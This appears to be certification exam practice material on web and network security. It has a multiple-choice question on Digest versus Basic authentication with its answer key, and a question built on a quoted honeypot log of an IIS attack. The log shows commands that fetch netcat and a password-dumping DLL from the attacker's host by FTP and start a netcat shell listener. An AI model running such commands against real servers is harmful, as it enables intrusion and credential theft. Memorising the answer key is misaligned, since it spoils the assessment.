QUESTION: 1

Sara is making use of Digest Authentication for her Web site. Why is this considered to be more secure than Basic authentication?

Basic authentication is broken
The password is never sent in clear text over the network
The password sent in clear text over the network is never reused.
It is based on Kerberos authentication protocol

Answer(s): B

Explanation:

Digest access authentication is one of the agreed methods a web page can use to negotiate credentials with a web user (using the HTTP protocol). This method builds upon (and obsoletes) the basic authentication scheme, allowing user identity to be established without having to send a password in plaintext over the network.

QUESTION: 1

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:
“cmd1.exe /c open 213.116.251.162 >ftpcom”
“cmd1.exe /c echo johna2k >>ftpcom”
“cmd1.exe /c echo haxedj00 >>ftpcom”
“cmd1.exe /c echo get nc.exe >>ftpcom”
“cmd1.exe /c echo get samdump.dll >>ftpcom”
“cmd1.exe /c echo quit >>ftpcom”
“cmd1.exe /c ftp –s:ftpcom”
“cmd1.exe /c nc –l –p 6969 e-cmd1.exe”
What can you infer from the exploit given?

It is a local exploit where the attacker logs in using username johna2k.
There are two attackers on the system – johna2k and haxedj00.
The attack is a remote exploit and the hacker downloads three files.
The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.
